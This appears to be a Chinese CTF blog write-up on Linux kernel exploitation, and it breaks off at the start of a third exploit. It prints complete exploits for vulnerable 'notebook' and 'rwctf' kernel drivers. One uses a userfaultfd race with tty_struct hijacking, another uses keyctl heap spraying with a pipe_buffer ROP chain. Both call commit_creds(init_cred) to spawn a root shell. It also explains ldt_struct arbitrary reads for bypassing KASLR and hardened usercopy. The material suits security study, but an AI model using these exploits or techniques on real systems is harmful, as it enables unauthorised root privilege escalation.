1 2 3 4 5 6 7 8 9 10 11 12 13 size_t fake_tty_struct[0x20 ];memcpy (fake_tty_struct, tty_struct, 0x60 );printBinary(fake_tty_struct, 0x60 ); fake_tty_struct[3 ] = notebook[2 ]; printAddr("fake_tty_ops" ,notebook[2 ]); fake_tty_struct[4 ] = commit_creds + kernel_offset; fake_tty_struct[5 ] = init_cred + kernel_offset; write(notefd, fake_tty_struct, 0 ); ioctl(ttyfd, 233 , 233 ); write(notefd, tty_struct, 0 ); getRootShell();
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } void printBinary (char * buf, int length) { int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } } size_t user_cs,user_ss,user_sp,user_rflags;void saveStatus () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void getRootShell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else errorMsg("FAIL TO GET ROOT" ); } char temp_page_for_stuck[0x1000 ];void register_userfaultfd (pthread_t *monitor_thread, void *addr, unsigned long len, void *(*handler)(void *)) { long uffd; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) { errorMsg("userfaultfd" ); } uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) { errorMsg("ioctl-UFFDIO_API" ); } uffdio_register.range.start = (unsigned long ) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1 ) { errorMsg("ioctl-UFFDIO_REGISTER" ); } s = pthread_create(monitor_thread, NULL , handler, (void *) uffd); if (s != 0 ) { errorMsg("pthread_create" ); } } void *uffd_handler_for_stucking_thread (void *args) { struct uffd_msg msg ; int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) args; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) { errorMsg("poll" ); } nread = read(uffd, &msg, sizeof (msg)); sleep(100000000 ); if (nread == 0 ) { errorMsg("EOF on userfaultfd!\n" ); } if (nread == -1 ) { errorMsg("read" ); } if (msg.event != UFFD_EVENT_PAGEFAULT) { errorMsg("Unexpected event on userfaultfd\n" ); } uffdio_copy.src = (unsigned long long ) temp_page_for_stuck; uffdio_copy.dst = (unsigned long long ) msg.arg.pagefault.address & ~(0x1000 - 1 ); uffdio_copy.len = 0x1000 ; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) { errorMsg("ioctl-UFFDIO_COPY" ); } return NULL ; } } void register_userfaultfd_for_thread_stucking (pthread_t *monitor_thread, void *buf, unsigned long len) { register_userfaultfd(monitor_thread, buf, len, uffd_handler_for_stucking_thread); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); outputMsg("Process binded to core" ); } int notefd;size_t userfd_page;size_t kernel_offset;sem_t hackEditLock, hackAddLock;size_t page_size = 0x1000 ;size_t init_cred = 0xffffffff8225c940 ;size_t commit_creds = 0xffffffff810a9b40 ;size_t tty_operations;size_t pty_unix98_ops = 0xffffffff81e8e320 ;size_t ptm_unix98_ops = 0xffffffff81e8e440 ;size_t work_for_cpu_fn = 0xffffffff8109eb90 ;struct kernelNote { size_t size; char * buf; }kernelNote; struct note { size_t idx; size_t size; char * buf; }; void noteAdd (size_t idx, size_t size, char * buf) { struct note note = {.idx = idx, .size = size, .buf = buf}; ioctl(notefd, 0x100 , ¬e); } void noteDel (size_t idx) { struct note note = {.idx = idx}; ioctl(notefd, 0x200 , ¬e); } void noteGift (char * buf) { struct note note = {.buf = buf}; ioctl(notefd, 0x64 , ¬e); } void noteEdit (size_t idx, size_t size, char * buf) { struct note note = {.idx = idx, .size = size, .buf = buf}; ioctl(notefd, 0x300 , ¬e); } void hackAdd () { sem_wait(&hackAddLock); outputMsg("begin to make size to 0x60" ); struct note note = {.idx = 0 , .size = 0x60 , .buf = userfd_page}; ioctl(notefd, 0x100 , ¬e); } void hackEdit () { sem_wait(&hackEditLock); outputMsg("begin to edit for UAF" ); struct note note = {.idx = 0 , .size = 0 , .buf = userfd_page}; ioctl(notefd, 0x300 , ¬e); } void main () { pthread_t hackEditFunc, hackAddFunc, uffdMonitorThread; saveStatus(); bind_core(0 ); notefd = open("/dev/notebook" , 2 ); if (notefd < 0 ) errorMsg("Fail to open notebook" ); char buf[0x60 ]; noteAdd(0 , 0x60 , buf); noteEdit(0 , 0x2E0 , buf); userfd_page = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffdMonitorThread, userfd_page, page_size); sem_init(&hackEditLock, 0 , 0 ); sem_init(&hackAddLock, 0 , 0 ); pthread_create(&hackEditFunc, NULL , hackEdit, NULL ); pthread_create(&hackAddFunc, NULL , hackAdd, NULL ); sem_post(&hackEditLock); sleep(1 ); sem_post(&hackAddLock); sleep(1 ); int ttyfd = open("/dev/ptmx" , O_RDONLY); if (ttyfd < 0 ) errorMsg("Faile to open ptmx!" ); size_t tty_struct[0x10 ]; read(notefd, tty_struct, 0 ); printBinary(tty_struct,0x60 ); tty_operations = tty_struct[3 ]; printAddr("tty_operations" ,tty_operations); if ((tty_operations & 0xFFF ) == (ptm_unix98_ops & 0xFFF )) kernel_offset = tty_operations - ptm_unix98_ops; else kernel_offset = tty_operations - pty_unix98_ops; printAddr("kernel_offset" , kernel_offset); size_t fake_tty_ops[0x10 ]; noteAdd(1 , 0x60 , buf); noteEdit(1 , 0x100 , buf); fake_tty_ops[12 ] = work_for_cpu_fn + kernel_offset; write(notefd, fake_tty_ops, 1 ); size_t notebook[0x20 ]; noteGift(notebook); printBinary(notebook, 0x20 ); size_t fake_tty_struct[0x20 ]; memcpy (fake_tty_struct, tty_struct, 0x60 ); printBinary(fake_tty_struct, 0x60 ); fake_tty_struct[3 ] = notebook[2 ]; printAddr("fake_tty_ops" ,notebook[2 ]); fake_tty_struct[4 ] = commit_creds + kernel_offset; fake_tty_struct[5 ] = init_cred + kernel_offset; write(notefd, fake_tty_struct, 0 ); ioctl(ttyfd, 233 , 233 ); write(notefd, tty_struct, 0 ); getRootShell(); }
Heap Spray 参考链接:https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying
以下内容来自 arttnba3 师傅:
堆喷射 (heap spraying)是一种辅助攻击手法:「通过大量分配相同的结构体来达成某种特定的内存布局 ,从而帮助攻击者完成后续的利用过程」,常见于如下场景:
你有一个 UAF,但是你无法通过少量内存分配拿到该结构体 (例如该 object 不属于当前 freelist 且释放后会回到 node 上,或是像 add_key()
那样会被一直卡在第一个临时结构体上),这时你可以通过堆喷射来确保拿到该 object
你有一个堆溢出读/写,但是堆布局对你而言是不可知的 (比如说开启了 SLAB_FREELIST_RANDOM
(默认开启)),你可以预先喷射大量特定结构体,从而保证对其中某个结构体的溢出
……
作为一种辅助的攻击手法,堆喷射可以被应用在多种场景下
前提知识
理解堆喷首先要对 kernel 内存管理有一些基本理解,这里给出一篇博客供分享。
参考链接:https://blog.csdn.net/kingbaby20lin/article/details/47100989
自己理解
从我自己的角度来理解堆喷的核心 实际上就是以量制胜 ,我们知道内核堆并不像我们用户态那样大部分情况下能够做到精细化管理,在内核这个庞大的系统中,稍有不慎内核堆就会发生各种变化,所以堆喷的作用可以理解为分配大量相同内存,使得我们能够稳定命中到设置好payload的结构体上。
pipe_inode_info 结构体 在开启开启了 SMEP、SMAP 保护时,我们只能在内核空间伪造函数表,同时内核中的大部分结构体的函数表为静态指定(例如 tty->ops
总是 ptm(或pty)_unix98_ops
),因此我们还需要知道一个内容可控的内核对象的地址,从而在内核空间中伪造函数表
这里选择管道相关的结构体完成利用;在内核中,管道本质上是创建了一个虚拟的 inode 来表示的,对应的就是一个 pipe_inode_info
结构体:
参考链接:https://elixir.bootlin.com/linux/latest/source/include/linux/pipe_fs_i.h#L58
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 struct pipe_inode_info { struct mutex mutex ; wait_queue_head_t rd_wait, wr_wait; unsigned int head; unsigned int tail; unsigned int max_usage; unsigned int ring_size; #ifdef CONFIG_WATCH_QUEUE bool note_loss; #endif unsigned int nr_accounted; unsigned int readers; unsigned int writers; unsigned int files; unsigned int r_counter; unsigned int w_counter; bool poll_usage; struct page *tmp_page ; struct fasync_struct *fasync_readers ; struct fasync_struct *fasync_writers ; struct pipe_buffer *bufs ; struct user_struct *user ; #ifdef CONFIG_WATCH_QUEUE struct watch_queue *watch_queue ; #endif };
同时内核中会分配一个 pipe_buffer
结构体数组,每个 pipe_buffer
结构体对应一张用以存储数据的内存页:
1 2 3 4 5 6 7 struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; };
pipe_buf_operations
为一张函数表,当我们对管道进行特定操作时内核便会调用该表上对应的函数,例如当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release
这一指针,由此我们便能控制内核执行流,从而完成提权
1 2 3 4 5 6 7 8 9 struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); void (*release)(struct pipe_inode_info *, struct pipe_buffer *); bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
那么这里我们可以利用 UAF 使得 user_key_payload
与 pipe_inode_info
占据同一个 object, pipe_inode_info
刚好会将 user_key_payload->datalen
改为 0xFFFF
使得我们能够继续读取数据,从而读取 pipe_inode_info
以泄露出 pipe_buffer
的地址
pipe_buffer
是动态分配的,因此可以利用题目功能预先分配一个对象作为 pipe_buffer
并直接在其上伪造函数表即可
例题: RWCTF2023- Digging into kernel 3 检查保护
静态分析
程序也是比较简单,简单明了的给出了一个 UAF,分别对应申请和释放操作,且申请的时候可以进行写,这里需要注意的是程序只能最多申请两个chunk。
利用过程 方法一:keyctl & pipe 利用 step1: heap spray 这里直接进入正题来看看是如何利用堆喷。
1 2 3 4 5 6 7 8 9 10 alloc(0 , pipe_info_size, buf); delete(0 ); outputMsg("step1 : get UAF obj by heap_spray" ); for (int i = 0 ; i < heap_spray_num; i++){ snprintf (desc, 0x100 , "%d + %s" , i, "henry" ); keyid[i] = key_alloc(desc, buf, pipe_info_size - 0x18 ); }
注意事项:保证每次的 desc 都是不同的,不然只是返回相同的 keyid。
下面这张图是delete之后,然后第一次 key_alloc 的完整过程,根据 key_alloc 的知识我们知道,他会在这个过程中为 payload 提前产生一个临时对象用作存储 payload,自然我们的 uaf_obj 也就会分配给它了。反之我们第二次分配 payload 则会占用一个 obj,最后再将前一个 uaf_obj 进行释放。
综上,其实 key_alloc 的每次过程是分配一个obj,并且每次都会让我们的 uaf_obj 最后释放。
我们这里将一整页的 slub 全部分配完毕,则在某一时刻会出现下图中的情况:
从上图发现,前面使用的 slub 已经被我们分配光了,并加入了 full 链中,但我们知道 key_alloc 会在结束时释放 uaf_obj,所以 kernel 又会将该 slub 放入到 partial 链表中。
同样的道理,再次申请掉当前 freelist 指向的 slub 中的所有 obj,payload 下次将会从 partial 中取出我们的 uaf_obj。至此已经就完成了 uaf_obj 的分配。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 outputMsg("step2 : try to change content of uaf_obj" ); delete(0 ); buf[0 ] = "henry" ; buf[1 ] = "henry" ; buf[2 ] = 0x2000 ; for (int i = 0 ; i < heap_spray_num; i++){ alloc(0 , pipe_info_size, buf); } outputMsg("step3 : find keyid which obtain the uaf_obj" ); int idx = 0 ;size_t fake_pipe_info[0x20 ];for (int i = 0 ; i < heap_spray_num; i++){ if (key_read(keyid[i], buf, 0x4000 ) > pipe_info_size) { printf ("[*] success to find uaf_obj, key_id is %d \n" , keyid[i]); printBinary(buf, 0x100 ); } else { key_revoke(keyid[i]); } }
这里是将 0x2000 写到 user_key_payload 中的 datalen 位置上,从而实现越界读,同时我们也能够通过 key_read 返回的 datalen 值,来找到我们的 uaf_obj 被分配到了哪个 keyid[idx] 上。
根据内核密钥管理的知识我们知道,已经被 revoke 后的keyid,会在其 func 字段中保存 user_free_payload_rcu 函数的地址,我们可以通过这点来进行泄露地址。
1 2 3 4 struct callback_head { struct callback_head *next ; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof (void *))));
注意事项 :
这里我们的 description 字符串需要和 payload 有着不同的长度,从而简化利用模型
读取 key 时的 len 应当不小于 user_key_payload->datalen,否则会读取失败
step2: hijack by pipe_buffer 前面的堆喷实际上只是为了展示堆喷这一手法,实际上在做这一道题时,我们可以直接简单释放两次,key_alloc 便会会拿到前面的 obj。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 alloc(0 , pipe_info_size, buf); alloc(1 , pipe_info_size, buf); delete(1 ); delete(0 ); outputMsg("get uaf obj idx==1" ); keyid[50 ] = key_alloc("bsd_henry" , buf, pipe_info_size - 0x18 ); alloc(0 , pipe_buffer_size, buf); delete(1 ); delete(0 ); pipe(pipefd); key_read(keyid[50 ], buf, 0xffff ); printBinary(buf, 0x100 ); size_t pipe_buffer_addr = buf[16 ];printAddr("pipe_buffer_addr" , pipe_buffer_addr);
这里红框中的位置即为 pipe_buffer 的指针,在泄露之后即可搭配 uaf 写 pipe_buffer 完成 ROP利用。
1 2 3 4 5 6 7 struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; };
最终提权成功
疑问 这道题实际上自己并没有完整做出来,因为在调试的时候,下完断点,程序可以成功断住,但只要si一下容易出现跑飞的情况,导致调试不成功,最后的 rop 部分也是直接搬过来了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <linux/keyctl.h> void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void saveStatus () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); outputMsg("Process binded to core" ); } void getRootShell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else errorMsg("FAIL TO GET ROOT" ); } void printBinary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } struct Node { int idx; int size; char *buf; }; int rwfd;void alloc (int idx, int size, char * buf) { struct Node node = {.idx = idx, size = size, .buf = buf}; ioctl(rwfd, 0xDEADBEEF , &node); } void delete (int idx) { struct Node node = {.idx = idx}; ioctl(rwfd, 0xC0DECAFE , &node); } int key_read (int keyid, char *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke (int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0 , 0 , 0 ); } int key_alloc (char *description, char *payload, size_t plen) { return syscall(__NR_add_key, "user" , description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } #define pipe_info_size 192 #define heap_spray_num 50 #define pipe_buffer_size 1024 size_t init_cred = 0xffffffff82850580 ;size_t pop_rdi_ret = 0xffffffff8106ab4d ;size_t kernel_base = 0xffffffff81000000 ;size_t commit_creds = 0xffffffff81095c30 ;size_t pop_rbx_pop_rbp_pop_r12_ret = 0xffffffff81250ca4 ;size_t push_rsi_pop_rsp_pop_rbx_pop_rbp_pop_r12_ret = 0xffffffff81250c9d ;size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81e00ed0 ;int main () { int pipefd[2 ]; char desc[0x100 ]; int keyid[0x100 ]; size_t * buf = malloc (0x10000 ); saveStatus(); bind_core(0 ); rwfd = open("/dev/rwctf" , O_RDONLY); if (rwfd < 0 ) errorMsg("Fail to open rwctf" ); alloc(0 , pipe_info_size, buf); delete(0 ); outputMsg("step1 : get UAF obj by heap_spray" ); for (int i = 0 ; i < heap_spray_num; i++) { snprintf (desc, 0x100 , "%d + %s" , i, "henry" ); keyid[i] = key_alloc(desc, buf, pipe_info_size - 0x18 ); } outputMsg("step2 : try to change content of uaf_obj" ); delete(0 ); buf[0 ] = "henry" ; buf[1 ] = "henry" ; buf[2 ] = 0x2000 ; for (int i = 0 ; i < heap_spray_num; i++) { alloc(0 , pipe_info_size, buf); } outputMsg("step3 : find keyid which obtain the uaf_obj" ); int idx = 0 ; size_t fake_pipe_info[0x20 ]; for (int i = 0 ; i < heap_spray_num; i++) { if (key_read(keyid[i], buf, 0x4000 ) > pipe_info_size) { printf ("[*] success to find uaf_obj, key_id is %d \n" , keyid[i]); printBinary(buf, 0x100 ); } else { key_revoke(keyid[i]); } } outputMsg("step4 : get user_free_payload_rcu function addr" ); size_t user_free_payload_rcu = buf[22 ]; if ((user_free_payload_rcu > kernel_base) && ((user_free_payload_rcu & 0xfff ) == 0x210 )) printAddr("user_free_payload_rcu" , user_free_payload_rcu); else errorMsg("Fail to leak user_free_payload_rcu addr" ); size_t kernel_offset = user_free_payload_rcu - 0xffffffff813d8210 ; printAddr("kernel_offset" , kernel_offset); outputMsg("step5 : construct pipe_info inode to hijack program" ); alloc(0 , pipe_info_size, buf); alloc(1 , pipe_info_size, buf); delete(1 ); delete(0 ); outputMsg("get uaf obj idx==1" ); keyid[50 ] = key_alloc("bsd_henry" , buf, pipe_info_size - 0x18 ); alloc(0 , pipe_buffer_size, buf); delete(1 ); delete(0 ); pipe(pipefd); key_read(keyid[50 ], buf, 0xffff ); printBinary(buf, 0x100 ); size_t pipe_buffer_addr = buf[16 ]; printAddr("pipe_buffer_addr" , pipe_buffer_addr); outputMsg("step 6 : make ROP chain" ); int i = 0 ; buf[i++] = *(size_t *)"henry" ; buf[i++] = *(size_t *)"henry" ; buf[i++] = pipe_buffer_addr + 0x18 ; buf[i++] = pop_rbx_pop_rbp_pop_r12_ret + kernel_offset; buf[i++] = push_rsi_pop_rsp_pop_rbx_pop_rbp_pop_r12_ret + kernel_offset; buf[i++] = 0 ; buf[i++] = 0 ; buf[i++] = pop_rdi_ret + kernel_offset; buf[i++] = init_cred + kernel_offset; buf[i++] = commit_creds + kernel_offset; buf[i++] = swapgs_restore_regs_and_return_to_usermode + 0x31 + kernel_offset; buf[i++] = 0 ; buf[i++] = 0 ; buf[i++] = getRootShell; buf[i++] = (size_t )user_cs; buf[i++] = (size_t )user_rflags; buf[i++] = (size_t )user_sp+8 ; buf[i++] = (size_t )user_ss; delete(0 ); alloc(0 , pipe_buffer_size, buf); outputMsg("step 7 : trigger pipe_buffer_operations->release()" ); close(pipefd[1 ]); close(pipefd[0 ]); return 0 ; }
方法二:ldt_struct 与 modify_ldt 系统调用 利用 ldt_struct 进行任意内存读取 Step.I - 利用 ldt_struct 进行任意内存读取 ldt 即 局部段描述符表 (Local Descriptor Table ),其中存放着进程的 段描述符,段寄存器当中存放着的段选择子便是段描述符表中段描述符的索引,在内核中与 ldt 相关联的结构体为 ldt_struct
,该结构体定义如下, entries
指针指向一块描述符表的内存,nr_entries
表示 LDT 中的描述符数量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct ldt_struct { struct desc_struct *entries ; unsigned int nr_entries; int slot; };
Linux 提供了一个 modify_ldt 系统调用操作当前进程的 ldt_struct
结构体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0 : ret = read_ldt(ptr, bytecount); break ; case 1 : ret = write_ldt(ptr, bytecount, 1 ); break ; case 2 : ret = read_default_ldt(ptr, bytecount); break ; case 0x11 : ret = write_ldt(ptr, bytecount, 0 ); break ; } return (unsigned int )ret; }
对于 write_ldt()
而言其最终会调用 alloc_ldt_struct()
分配 ldt 结构体,由于走的是通用的分配路径所以我们可以在该结构体上完成 UAF :)
1 2 3 4 5 6 7 8 9 10 11 static struct ldt_struct *alloc_ldt_struct (unsigned int num_entries) { struct ldt_struct *new_ldt ; unsigned int alloc_size; if (num_entries > LDT_ENTRIES) return NULL ; new_ldt = kmalloc(sizeof (struct ldt_struct), GFP_KERNEL);
sizeof(struct ldt_struct)
大小为 0x10,这里相当于 kmalloc 一个 flag 为 GFP_KERNEL 的 object,可以考虑通过 UAF 等手段重分配该 object 操作进行利用。
而 read_ldt()
就是简单的读出 LDT 表上内容到用户空间,在有 uaf 的情况下,可以修改 ldt->entries 完成内核空间中的任意地址读 :
1 2 3 4 5 6 7 8 9 10 11 12 static int read_ldt (void __user *ptr, unsigned long bytecount) { if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; }
copy_to_user(ptr, mm->context.ldt->entries, entries_size)
可以完成任意地址读。
read_ldt()
还能帮助绕过 KASLR ,这里要用到 copy_to_user()
的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码 ,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核的 page_offset_base ,若是成功命中,则 modify_ldt 会返回给我们一个非负值
不过由于 hardened usercopy 的存在,我们并不能够直接读取内核代码段或是线性映射区中大小不符的对象的内容,否则会造成 kernel panic :(
Step.II - 利用 fork 绕过 hardened usercopy 虽然在用户空间与内核空间之间的数据拷贝存在 hardened usercopy,但是在内核空间到内核空间的数据拷贝间并不存在类似的保护机制 ,因此我们可以通过一些手段绕过 hardended usercopy
在 Linux 内核源码中,我们不难观察到当进程调用 fork()
时,内核会通过 memcpy()
将父进程的 ldt->entries
上的内容拷贝给子进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 int ldt_dup_context (struct mm_struct *old_mm, struct mm_struct *mm) { memcpy (new_ldt->entries, old_mm->context.ldt->entries, new_ldt->nr_entries * LDT_ENTRY_SIZE); }
该操作是完全处在内核中的操作 ,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可。
kernel tricks Initial RAM disk (initrd
)提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力,从而在该阶段运行一些用户态程序,在完成该阶段工作之后才是挂载真正的根文件系统
initrd 文件系统镜像通常为 gzip 格式,在启动阶段由 boot loader 将其路径传给 kernel,自 2.6 版本后出现了使用 cpio 格式的initramfs,从而无需挂载便能展开为一个文件系统
initrd/initramfs 的特点便是文件系统中的所有内容都会被读取到内存当中 ,而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统,因此若是我们有着内存搜索能力,我们便能直接在内存空间中搜索 flag 的内容 :)
利用思路
若是我们通过 uaf 可以控制 ldt_struct,那我们可以先爆破 page_offset_base 地址
其次还可以继续泄露内核代码段地址,page_offset_base + 0x9d000 处有secondary_startup_64
函数地址
接下来我们就可以通过设置 search_addr 为 page_offset_base 的地址,进行内存搜索 flag ,注意再根据flag前缀搜索时,最好判断一下其后面的字符是否含有 ‘}’,以保证搜索到的是完整的 flag 字符串。
可以看到我们在没有权限读 flag 内容的情况下完成了对 flag 内容的获取。由于 exp 比较简单,这里就不再重复分析,就是多次利用 uaf 改写 ldt_struct 来完成任意地址读。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include 